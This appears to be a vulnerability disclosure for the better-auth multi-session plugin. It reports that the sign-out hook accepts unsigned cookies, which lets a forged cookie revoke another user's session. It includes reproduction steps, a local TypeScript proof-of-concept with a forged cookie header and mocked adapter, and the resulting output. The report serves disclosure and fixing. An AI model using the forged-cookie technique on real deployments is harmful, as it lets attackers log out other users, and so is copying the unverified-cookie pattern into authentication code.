- "details": "## Summary\n- Vulnerable component: `multi-session` plugin’s `/sign-out` after-hook (`packages/better-auth/src/plugins/multi-session/index.ts`)\n- Issue: Hook trusts raw multi-session cookies and forwards unsanitized tokens to `internalAdapter.deleteSessions`, allowing forged cookies to revoke arbitrary sessions.\n- Status: Reproduced locally with updated proof-of-concept.\n\n## Impact\nAny authenticated attacker who can obtain the plain session token of another user (via log leaks, backups, etc.) can forge a multi-session cookie and trigger `/sign-out`. The hook extracts the attacker-supplied token and deletes the victim’s session, causing cross-account logout. No signing secret is required.\n\n## Product / Version\n- Repository: `better-auth`\n- Branch: `canary`\n- Affected file: `packages/better-auth/src/plugins/multi-session/index.ts` (current head)\n- Dependency configuration: `pnpm install`, Bun runtime (`bun v1.3.0`)\n\n## Steps to Reproduce\n1. Clone the repository and install dependencies with `pnpm install`.\n2. Ensure Bun is installed.\n3. Save the proof-of-concept script below as `PROOF_OF_CONCEPTS/multi_session/force-signout.ts`.\n4. Run:\n ```\n bun run --conditions better-auth-dev-source PROOF_OF_CONCEPTS/multi_session/force-signout.ts\n ```\n5. Observe the simulated adapter logging deletion of the attacker-chosen token.\n\n## Proof of Concept\nCurrent PoC (which selects the correct sign-out hook and demonstrates the forged-cookie flow):\n\n```ts\nimport { multiSession } from \"../../packages/better-auth/src/plugins/multi-session\";\nimport type { AuthMiddleware } from \"../../packages/core/src/api/index\";\n\nconst plugin = multiSession();\n\nconst hook = plugin.hooks.after\n ?.slice()\n .reverse()\n .find((h) => h.matcher({ path: \"/sign-out\" } as any));\n\nconst deleteSessions = (tokenList: string[]) => {\n console.log(\"deleteSessions invoked with:\", tokenList);\n};\n\nconst ctx = {\n headers: new Headers({\n cookie: \"better-auth.session_token=my-valid-session; better-auth.session_token_multi-target=TARGETTOKEN.fake\",\n }),\n context: {\n secret: \"dummy-secret\",\n authCookies: {\n sessionToken: {\n name: \"better-auth.session_token\",\n options: {},\n },\n },\n internalAdapter: {\n deleteSessions: deleteSessions,\n },\n },\n getSignedCookie: async (name: string) => {\n if (name.includes(\"_multi-\")) {\n // simulate forged cookie appearing valid\n return \"TARGETTOKEN\";\n }\n return \"my-valid-session\";\n },\n setCookie: () => {},\n json: () => {},\n} as unknown as Parameters<AuthMiddleware>[0];\n\nif (!hook) {\n throw new Error(\"Sign-out hook not found\");\n}\n\n(async () => {\n await hook.handler(ctx as any);\n})();\n```\n\n### PoC Output\n\n```\ndeleteSessions invoked with: [ \"TARGETTOKEN\" ]\n```\n\n\n\nThis shows the handler accepted the forged cookie and attempted to delete the attacker-specified session token.\n\n## Root Cause\nThe multi-session sign-out hook parses cookies with `parseCookies(cookieHeader)` and, for every key matching the `_multi-` naming pattern, sets a blank cookie response and splits the value on `.` to extract the token. No call to `ctx.getSignedCookie` or equivalent verification occurs before invoking `ctx.context.internalAdapter.deleteSessions(...)`.",
0 commit comments